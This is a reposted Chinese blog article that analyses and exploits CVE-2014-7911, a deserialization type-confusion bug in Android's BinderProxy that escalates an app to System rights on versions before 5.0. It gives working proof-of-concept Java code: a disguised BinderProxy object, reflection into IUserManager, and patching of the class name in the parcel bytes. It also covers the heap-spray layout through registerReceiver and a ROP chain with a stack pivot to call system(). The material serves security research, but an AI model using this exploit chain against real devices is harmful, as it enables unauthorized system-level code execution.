CVE-2014-7911 Android本地提权漏洞分析与利用

来源:互联网 发布:江大教务网络管理系统 编辑:程序博客网 时间:2024/05/19 16:47

概述

前面我们了解了Android Binder机制的基本原理,当然仅仅了解是不够的,我们要做到:Know it and hack it。这篇文章我们就来分析一个和Binder相关的漏洞:CVE-2014-7911。这是由Jann Horn发现的一个Android本地提权漏洞,能够使普通应用的权限提升到System权限,影响Android5.0以下版本。这个漏洞是非常值得Android安全研究人员学习的一个漏洞,因为这个漏洞涉及到Android Binder,Java序列化,Dalvik GC机制,Heap spary,ROP,Stack pivot等知识,很有学习价值。

文章的内容主要来源于公开的资料,我在其基础上添加了一些细节。

漏洞成因

java层

这个漏洞的成因在于在Android<5.0的版本中,java.io.ObjectInputStream并未校验输入的java对象是否是可序列化的。攻击者可以构建一个不可序列化的对象实例,并且构建恶意的成员变量,当该对象被ObjectInputStream反序列化的时候,就会发生类型混淆,其成员变量被当做本地代码的指针,使攻击者可以获得程序的控制权。
具体的来说,是android.os.BinderProxy这个类,本身是不可序列化的,在系统GC的时候,会调用到它的finalize方法,在这个方法中调用到了一个指针,而这个指针正好可以被我们控制,所以可以通过构造恶意的指针来达到代码执行。下面我们结合jann Horn的Poc具体分析下漏洞成因:
首先构造一个可序列化的对象。

123456789101112
package AAdroid.os;import java.io.Serializable;/** * Created by auo on 15-6-25. */public class BinderProxy implements Serializable {    private static final long serialVersionUID = 0;    public int mObject = 0x1337beef;    public int mOrgue = 0x1337beef;}

这里定义了一个AAdroid.os.BinderProxy对象,并且实现了Serializable接口,使得这个类可序列化,因为我们需要现将这个类放入到Bundle中才能传入到system_server进程,在传入的过程中修改它的类型位android.os.BinderProxy,这样在system_server反序列化的时候就会触发异常。我们继续看发送函数:

1234567891011121314151617181920212223242526272829303132333435363738394041
private void exploit(int staticAddr) {        Context context = getBaseContext();        try {            Bundle bundle = new Bundle();            BinderProxy evilProxy = new BinderProxy();            bundle.putSerializable("eatthis", evilProxy);            Class stubClass = null;            for (Class inner : Class.forName("android.os.IUserManager").getDeclaredClasses()) {                if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {                    stubClass = inner;                }            }            Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");            TRANSACTION_setApplicationRestrictionsField.setAccessible(true);            TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);            Class proxyClass = null;            for (Class inner : stubClass.getDeclaredClasses()) {                if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {                    proxyClass = inner;                }            }            UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);            Field mServiceField = UserManager.class.getDeclaredField("mService");            mServiceField.setAccessible(true);            Object mService = mServiceField.get(userManager);            Field mRemoteField = proxyClass.getDeclaredField("mRemote");            mRemoteField.setAccessible(true);            mRemote = (IBinder) mRemoteField.get(mService);            UserHandle userHandle = android.os.Process.myUserHandle();            setApplicationRestrictions(context.getPackageName(), bundle, userHandle.hashCode());        }        catch (Exception e) {            e.printStackTrace();        }    }

这里通过一系列的反射来获取android.os.IUserManager.Stub.Proxy.mRemote类,IUserManager对象是AIDL自动生成的,在UserManager中定义了一个实例。

1234567
public class UserManager {    private static String TAG = "UserManager";    private final IUserManager mService;    private final Context mContext;    ...}

通过反射获取到这个实例的mRemote对象,我们前面已经知道在Binder客户端的mRemote其实是一个BinderProxy类,这个类的transact函数将方法描述符和参数传递给服务端,进行远程调用。所以这里获得这个对象其实就是为了像servermanager传递我们构造的恶意对象,为什么要传递给servermanager呢,这是因为servermanager拥有system权限,把对象传递给它,servermanager在反序列化时发生类型混淆,我们就可以在servermanager进程用system权限执行代码。所以通过前面我们了解到,这里的客户端和服务端包括发送的恶意对象的类都不是固定的,因为漏洞的关键点不在这两个类中而是在ObjectInputStream这个类中,所以只要满足能够触发漏洞的条件即可。下面我们具体来看发送对象的过程中做了什么工作:

12345678910111213141516171819202122232425262728293031
private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int            userHandle) throws android.os.RemoteException    {        android.os.Parcel _data = android.os.Parcel.obtain();        android.os.Parcel _reply = android.os.Parcel.obtain();        try {            _data.writeInterfaceToken(DESCRIPTOR);            _data.writeString(packageName);            _data.writeInt(1);            restrictions.writeToParcel(_data, 0);            _data.writeInt(userHandle);            byte[] data = _data.marshall();            for (int i=0; true; i++) {                if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {                    data[i] = 'a';                    data[i+1] = 'n';                    break;                }            }            _data.recycle();            _data = Parcel.obtain();            _data.unmarshall(data, 0, data.length);            mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);            _reply.readException();        }        finally {            _reply.recycle();            _data.recycle(); }    }

可以看到这个函数和一般的Binder客户端发送数据的方法很类似,区别在于这里面有这样一段代码:

1234567891011
byte[] data = _data.marshall();for (int i=0; true; i++) {    if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {        data[i] = 'a';        data[i+1] = 'n';        break;    }}_data.recycle();_data = Parcel.obtain();_data.unmarshall(data, 0, data.length);

这里首先调用要发送的parcel对象的marshall方法,作用类似序列化,获得一个byte[]数组。然后将这个数组中的”AAdr”修改成”andr”。我们前面知道要传输的对象的类型是AAdroid.os.BinderProxy,所以这里相当于把对象类型修改成了android.os.BinderProxy,这样就成功发送了恶意的对象。为什么要转换成BinderProxy对象呢,前面说这个对象不是固定的,只要能触发漏洞的条件即可,那么这个对象为什么能触发漏洞条件呢,我们下面会具体分析。
安装Poc,启动Activity后将其最小化,触发GC,这会引起system_manager崩溃并重启,logcat日志类似下面这样。

12345678910111213141516171819202122
05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon  >>> system_server <<<05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef305-14 18:30:56.064: I/DEBUG(3695):     r0 1337beef  r1 401b89d9  r2 746fdad8  r3 6d4fbdc405-14 18:30:56.064: I/DEBUG(3695):     r4 401b89d9  r5 1337beef  r6 713e3f68  r7 1337beef05-14 18:30:56.064: I/DEBUG(3695):     r8 1337beef  r9 74709f68  sl 746fdae8  fp 74aacb2405-14 18:30:56.064: I/DEBUG(3695):     ip 401f08a4  sp 74aacae8  lr 401b7981  pc 40105176  cpsr 200d0030...I/DEBUG   (  241): backtrace:I/DEBUG   (  241):     #00  pc 0000d176  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)I/DEBUG   (  241):     #01  pc 0007097d  /system/lib/libandroid_runtime.soI/DEBUG   (  241):     #02  pc 0001dbcc  /system/lib/libdvm.so (dvmPlatformInvoke+112)I/DEBUG   (  241):     #03  pc 0004e123  /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)I/DEBUG   (  241):     #04  pc 00026fe0  /system/lib/libdvm.soI/DEBUG   (  241):     #05  pc 0002dfa0  /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)I/DEBUG   (  241):     #06  pc 0002b638  /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)I/DEBUG   (  241):     #07  pc 0006057d  /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)I/DEBUG   (  241):     #08  pc 000605a1  /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)I/DEBUG   (  241):     #09  pc 00055287  /system/lib/libdvm.soI/DEBUG   (  241):     #10  pc 0000d170  /system/lib/libc.so (__thread_entry+72)I/DEBUG   (  241):     #11  pc 0000d308  /system/lib/libc.so (pthread_create+240)

这里看到servermanager崩溃的原因是访问了异常的内存地址,而这个地址0x1337bef3和我们前面在序列化对象中设置的0x1337beef很接近。下面我们就具体分析在native层漏洞触发的原因。

Native层

我们前面说到,android.os.BinderProxy这个对象本身是不可序列化的,但是因为ObjectInputStream这个对象在反序列化时没有做校验,造成了类型混淆(type confusion)漏洞。BinderProxy的filed被Native代码处理成指针,这个filed就是我们在代码中设置的mOrgue。
BinderProxy的finalize方法调用了native代码,将mOruge处理成指针。

12345678
@Overrideprotected void finalize() throws Throwable {try {destroy();} finally {super.finalize();}}

反序列化的时候调用到java.io.ObjectInputStream对象的readObject()方法,这个方法从输入流中读取出对象,也就是我们定义的BinderProxy对象。这个对象被创建后,因为代码中没有再引用它,所以它会进入到”可复活状态”,准备被GC回收,在回收前就会调用到它的finalize()方法。

更多关于java GC的内容可以自行在网上查阅

这里的destroy()是一个本地方法。

1
private native final void destroy();

它对应的native方法为:

12345678910111213
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj){IBinder* b = (IBinder*)env->GetIntField(obj, gBinderProxyOffsets.mObject);DeathRecipientList* drl = (DeathRecipientList*)env->GetIntField(obj, gBinderProxyOffsets.mOrgue);LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);drl->decstrong((void*)javaobjectforibinder);b->decStrong((void*)javaObjectForIBinder);IPCThreadState::self()->flushCommands();}

这里的

12
DeathRecipientList* drl = (DeathRecipientList*)env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

将gBinderProxyoffsets.mOrgue转换成一个DeathRecipientList*对象的指针,而gBinderProxyoffsets.mOrgue是在int_register_android_os_BinderProxy中完成初始化。

12
gBinderProxyOffsets.mObject  = env->GetFieldID(clazz, "mObject", "I");gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");

所以可以看到我们设置的mOrgue被处理成了一个对象指针。而之后调用了这个对象的方法。

1
drl->decstrong((void*)javaobjectforibinder);

这个方法的定义在DeathRecipientList的父类RefBase中。

1234567891011121314151617
void RefBase::decStrong(const void* id) const{    weakref_impl* const refs = mRefs;    refs->removeStrongRef(id);    const int32_t c = android_atomic_dec(&refs->mStrong);#if PRINT_REFS    ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);#endif    ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);    if (c == 1) {        refs->mBase->onLastStrongRef(id);        if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {            delete this;        }    }    refs->decWeak(id);}

这里的mRefs是RefBase对象中第一个成员变量,可以看到RefBase的定义如下:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101
class RefBase{public:            void            incStrong(const void* id) const;            void            decStrong(const void* id) const;            void            forceIncStrong(const void* id) const;            //! DEBUGGING ONLY: Get current strong ref count.            int32_t         getStrongCount() const;    class weakref_type    {    public:        RefBase*            refBase() const;        void                incWeak(const void* id);        void                decWeak(const void* id);        // acquires a strong reference if there is already one.        bool                attemptIncStrong(const void* id);        // acquires a weak reference if there is already one.        // This is not always safe. see ProcessState.cpp and BpBinder.cpp        // for proper use.        bool                attemptIncWeak(const void* id);        //! DEBUGGING ONLY: Get current weak ref count.        int32_t             getWeakCount() const;        //! DEBUGGING ONLY: Print references held on object.        void                printRefs() const;        //! DEBUGGING ONLY: Enable tracking for this object.        // enable -- enable/disable tracking        // retain -- when tracking is enable, if true, then we save a stack trace        //           for each reference and dereference; when retain == false, we        //           match up references and dereferences and keep only the        //           outstanding ones.        void                trackMe(bool enable, bool retain);    };            weakref_type*   createWeak(const void* id) const;            weakref_type*   getWeakRefs() const;            //! DEBUGGING ONLY: Print references held on object.    inline  void            printRefs() const { getWeakRefs()->printRefs(); }            //! DEBUGGING ONLY: Enable tracking of object.    inline  void            trackMe(bool enable, bool retain)    {        getWeakRefs()->trackMe(enable, retain);    }    typedef RefBase basetype;protected:                            RefBase();    virtual                 ~RefBase();    //! Flags for extendObjectLifetime()    enum {        OBJECT_LIFETIME_STRONG  = 0x0000,        OBJECT_LIFETIME_WEAK    = 0x0001,        OBJECT_LIFETIME_MASK    = 0x0001    };            void            extendObjectLifetime(int32_t mode);    //! Flags for onIncStrongAttempted()    enum {        FIRST_INC_STRONG = 0x0001    };    virtual void            onFirstRef();    virtual void            onLastStrongRef(const void* id);    virtual bool            onIncStrongAttempted(uint32_t flags, const void* id);    virtual void            onLastWeakRef(const void* id);private:    friend class weakref_type;    class weakref_impl;                            RefBase(const RefBase& o);            RefBase&        operator=(const RefBase& o);private:    friend class ReferenceMover;    static void renameRefs(size_t n, const ReferenceRenamer& renamer);    static void renameRefId(weakref_type* ref,            const void* old_id, const void* new_id);    static void renameRefId(RefBase* ref,            const void* old_id, const void* new_id);        weakref_impl* const mRefs;};

而这里mRefBase是DeathRecipientList对象的父类,我们知道在C++中,对象的内存布局是先放置父类,然后放置自己的成员。而一个对象中方法是不占空间的,如果有虚函数会有一个虚函数表的地址(4字节)放置在对象的最开始,然后放置各个成员变量。这个类是有虚函数的,所以这里的mRefs变量的地址是DeathRecipientList对象也就是我们设置的mOrgue指针指向地址+4。

更多关于C++对象内存分布的资料可以在网上查阅

refs是一个weakref_impl类型的变量。weakref_impl是RefBase用来维护引用技术的类。它的定义如下:

123456789101112131415161718192021222324252627282930313233
class RefBase::weakref_impl : public RefBase::weakref_type{public:    volatile int32_t    mStrong;    volatile int32_t    mWeak;    RefBase* const      mBase;    volatile int32_t    mFlags;#if !DEBUG_REFS    weakref_impl(RefBase* base)        : mStrong(INITIAL_STRONG_VALUE)        , mWeak(0)        , mBase(base)        , mFlags(0)    {    }    void addStrongRef(const void* /*id*/) { }    void removeStrongRef(const void* /*id*/) { }    void renameStrongRefId(const void* /*old_id*/, const void* /*new_id*/) { }    void addWeakRef(const void* /*id*/) { }    void removeWeakRef(const void* /*id*/) { }    void renameWeakRefId(const void* /*old_id*/, const void* /*new_id*/) { }    void printRefs() const { }    void trackMe(bool, bool) { }#else    weakref_impl(RefBase* base)        : mStrong(INITIAL_STRONG_VALUE)        , mWeak(0)    ...

在decStrong函数中最后调用到了refs->mBase->onLastStrongRef(id)函数。从前面可以看到,这里的ref->mBase我们是可控的,所以通过构造特殊的内存布局我们就可以执行任意代码。

汇编代码分析

为了更方便理解漏洞成因,这里再分析一下decStrong函数对应的汇编代码。使用IDA导入libutils.so,然后找到Android::RefBase::decStrong函数。这里我们已经可以控制的是r0寄存器(this指针)。

首先是对r0的使用:

123
weakref_impl* const refs = mRefs;refs->removeStrongRef(id);const int32_t c = android_atomic_dec(&refs->mStrong);

对应的汇编代码如下:

1234
ldr r4, [r0, #4]   # r0为this指针,r4为mRefsmov r6, r1mov r0, r4         #r4指向mStrong,r0指向mStrongblx <android_atomic_dec ()>

这里的r4就是mRefs的地址,前面我们已经分析过了。然后调用了android_atomic_dec函数,传入的参数是&refs->mStrong。refs是一个weakref_impl类,weakref_impl类没有虚函数,mStrong是它的第一个成员变量,所以mStrong的地址就是refs的地址。另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示:

1
void removeStrongRef(const void* /*id*/) { }

调用完android_atomic_dec后,继续执行下面的代码。

123
if (c == 1) {refs->mBase->onLastStrongRef(id);}

对应的汇编代码:

1234567
cmp r0, #1          # r0 = refs->mStrongbne.n d1ealdr r0, [r4, #8]    # r4 = &refs->mStrongmov r1, r6ldr r3, [r0, #0]ldr r2, [r3, #12]blx r2

注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1。
至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:

  • drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
  • refs->mStrong必须为1;
  • refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足:
    12345
    if(*(*(mOrgue+4)) == 1) {refs = *(mOrgue+4);r2 = *(*(*(refs+8))+12);blx r2 ; <—— controlled;}

除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。

漏洞利用

这里结合retme7公开的Poc分析如何利用这个漏洞。

绕过ASLR

虽然Android上有地址空间随机化(ASLR),但是因为所有app都是fork自zygote进程,所以基础模块和dalvik-heap的内存布局全都是相同的。可以分析自己的内存布局获得system-server的内存布局,然后使用基础模块构建ROP链就可以绕过ASLR。

1234
shell@hammerhead:/ # cat /proc/10156/maps | grep dalvik-heap4273c000-616da000 rw-p 00000000 00:04 32910      /dev/ashmem/dalvik-heap (deleted)shell@hammerhead:/ # cat /proc/18446/maps | grep dalvik-heap4273c000-616da000 rw-p 00000000 00:04 32910      /dev/ashmem/dalvik-heap (deleted)

Dalvik-heap spary

为了能让blx r2这条执行能够可靠稳定的跳转到攻击者可控的代码,需要利用堆喷射技术,在system_server内存空间的dalvik-heap中预先布置大量的Spray Buffer, 其中放置提权代码以及大量指向该提权代码的地址。这涉及到两个问题。

  • 如何向sysetem_server的dalvik-heap空间传入可控字符串?
  • 如何在dalvik-heap中布局这些可控字符串,才能在每次漏洞利用时都稳定执行代码?
    对于第一个问题,我们知道system_server向android系统提供绝大多数的系统服务,通过这些服务的一些特定方法可以向system_server传入String,同时system_server把这些String存储在Dalvik-heap中,在GC之前都不会销毁。例如,下面android.content.Context中的registerReceiver方法
    1
    public Intent registerReceiver (BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)

其中broadcastPermission为String类型,调用该方法后,String Buffer将常驻system_server进程空间。具体调用链见

1
ContextWrapper.registerReceiver->ContextImpl.registerReceiver->ContextImpl.registerReceiverInternal->ActivityManagerProxy.registerReceiver->ActivityManagerService.registerReceiver

该调用链表明可从某个app的Context通过binder IPC跨进程调用system_server的ActivityManagerService.registerReceiver方法,注意ActivityManagerService常驻system_server进程空间。我们再看看ActivityManagerService的registerReceiver方法

1234567891011121314151617
public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {enforceNotIsolatedCaller("registerReceiver");    int callingUid;    int callingPid;    synchronized(this) {        ......        ReceiverList rl            = (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());        ......        BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,            permission, callingUid, userId); //在Dalvik-heap中分配内存        rl.add(bf);        ......        return sticky;    }}

注意上面的new将在system_server进程的Dalvik-heap堆中分配内存,传入的String Buffer即permission将常驻system_server进程空间。这样,通过调用某些系统Api,第一个传入字符串的问题就解决了。
下面探讨第二个问题:如何在dalvik-heap中布局这些可控字符串,才能在每次漏洞利用时都能稳定执行代码?

根据前面的叙述,攻击者可控的mOrgue需要指向一个可读的内存区域,简单地让其指向传入registerReceiver方法permission参数String Buffer所属的地址区域并在String Buffer中布置ROP Gadget即可达到这个目的,但system_server在其dalvik-heap中分配String Buffer的偏移地址却是未知的,mOrgue未必能命中(指向)堆块中为String Buffer分配的内存。为了提高命中率,需要在dalvik-heap中分配大量的String Buffer,这就是Heap Spray(堆喷射)技术,反复调用registerReceiver方法分配大量的String Buffer即可完成Heap Spray。但是,String Buffer的地址在每次调用registerReceiver方法分配内存时都会不一样,这就需要构造一种特殊的堆喷射布局,包含递减的指针值,如图。

如图,每一个在堆中分配的内存块(chunk),都包含Relative Address Chunk和Gadget_buffer两部分,目标是使可控的STATIC_ADDRESS(即mOrgue)位于Relative Address Chunk,并且使其存放的内容[STATIC_ADDRESS]=GADGET_BUFFER(即Gadget_buffer的地址)。简单的思路就是在每个chunk的relative Address Chunk中都放入GADGET_BUFFER,然而由于GADGET_BUFFER在每个chunk中都不一样,而且也无法在跨进程传入system_server之前提前知晓,因此该思路并不可行。

注意,GADGET_BUFFER = 堆底地址 + Gadget_buffer_offset(即Gadget_Buffer相对于堆底的偏移)。当STATIC_ADDRESS=堆底地址时,GADGET_BUFFER = STATIC_ADRRESS+Gadget_buffer_offset;考虑到四字节对齐,一般情况下,STATIC_ADDRESS=堆底地址+4N(N=1,2,…),此时GADGET_BUFFER = STATIC_ADDRESS + Gadget_buffer_offset - 4N。因此,在每一个Chunk的Relative Address Chunk区域按地址增长方向,依次在内存中填入STATIC_ADDRESS+Gadget_buffer_offset、STATIC_ADDRESS+Gadget_buffer_offset-4、…、STATIC_ADDRESS+Gadget_buffer_offset-4N。这样,给定一个STATIC_ADDRESS,只要能落入system_server在dalvik heap分配的Relative Addresses Chunk的地址范围(为了提高这个可能性,需要满足1.每一个Chunk的Relative Address Chunk比Gadget Buffer大很多;2.分配大量这样的Chunk),就总是存在[STATIC_ADDRESS]=GADGET_BUFFER,并满足[STATIC_ADDRESS+4N]=GADGET_BUFFER-4N(这个条件将在后面布置Gadget时用到)。

按照这样的布局,回过来再看汇编代码,布置Gadget_Buffer。

1234
ldr     r4, [r0, #4]   # r0=STATIC_ADDRESS-->r4=[STATIC_ADDRESS+4]=GADGET_BUFFER-4mov     r6, r1mov     r0, r4  # r0=GADGET_BUFFER-4blx     <android_atomic_dec ()>

调用android_atomic_dec函数之后

1234567
cmp     r0, #1          # r0 = [GADGET_BUFFER-4]bne.n   d1ealdr     r0, [r4, #8]    # r0 = [GADGET_BUFFER-4+8] = [GADGET_BUFFER+4]mov     r1, r6ldr     r3, [r0, #0]    # r3 =[[GADGET_BUFFER+4]] = [STATIC_ADDRESS+12] = GADGET_BUFFER-12ldr     r2, [r3, #12]   # r2 = [GADGET_BUFFER -12 +12] = [GADGET_BUFFER]blx     r2

首先,为了进入blx r2这条分支,r0必须等于1,也就是[GADGET_BUFFER-4]=1;其次,[GADGET_BUFFER+4]必须为一个合法可读的地址,为了方便之后的布局,我们令[GADGET_BUFFER+4]=STATIC_ADDRESS+12,因此r3 = [STATIC_ADDRESS+12]=GADGET_BUFFER-12,接下来r2=[r3+12]=[GADGET_BUFFER-12+12]=[GADGET_BUFFER],程序将跳转到GADGET_BUFFER这个地址存放的内容执行,因此在这里就可以布置ROP Gadget1的地址了。至此,通过一种特殊布局的堆喷射,第二个代码稳定执行的问题也迎刃而解。

DEP

由于Android使用了DEP,因此Dalvik-heap上的内存不能用来执行,这就必须使用ROP技术,使PC跳转到一系列合法指令序列(Gadget),并由这些Gadget“拼凑”而成shellcode。这里我们将使用ROP Gadget调用system函数执行代码。

使用ROPGadget这个工具,在zygote加载的基础模块(如libc.so、libwebviewchromium.so、libdvm.so)上进行搜索,把arm code当做thumb code来搜索,可以增加更多的候选指令序列。

为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利。利用

1
ROPgadget --thumb --binary libwebviewchromium.so

可找到如下Gadget

Gadget1
12345678
r5=STATIC_ADDRESSldr r7, [r5]r7=GADGET_CHUNK_ADDRmov r0, r5r0=STATIC_ADDRESSldr r1, [r7, #8]r1=[GADGET_CHUNK_ADDR + 8]blx r1

通过r1跳转到第二个gadget:

12345678910
r7=GADGET_CHUNK_ADDRadd.w r7, r7, #8r7=GADGET_CHUNK_ADDR + 8mov sp, r7sp = GADGET_CHUNK_ADDR + 8pop {r4, r5, r7, pc}r4=[GADGET_CHUNK_ADDR + 8]r5=[GADGET_CHUNK_ADDR + 12]=system_addrr7=[GADGET_CHUNK_ADDR + 16]pc=[GADGET_CHUNK_ADDR + 20]

这里我提前将system函数的地址写入[GADGET_CHUNK_ADDR + 12]。
有一个问题,为什么要通过第一个gadget的过渡,才完成stack pivot?
答:事实上是不得已而为之,我用ROPgadget扫描了整个/system/lib目录下的基础模块的”mov sp, r”,只发现有mov sp, r7,所以只能采取这种过度的方式。
继续来到第三个gadget:

1234
sp=[GADGET_CHUNK_ADDR + 24]mov r0, spr5=system_addrblx r5

如此,我们将命令字符串放在GADGET_CHUNK_ADDR + 24开始的空间就可以了,最终完成了对CVE-2014-7911漏洞的system权限提权,并执行任意代码。最后附上retme的Poc:
https://github.com/retme7/CVE-2014-7911_poc

原文地址: http://zke1ev3n.me/2016/08/02/CVE-2014-7911-Android%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
0 0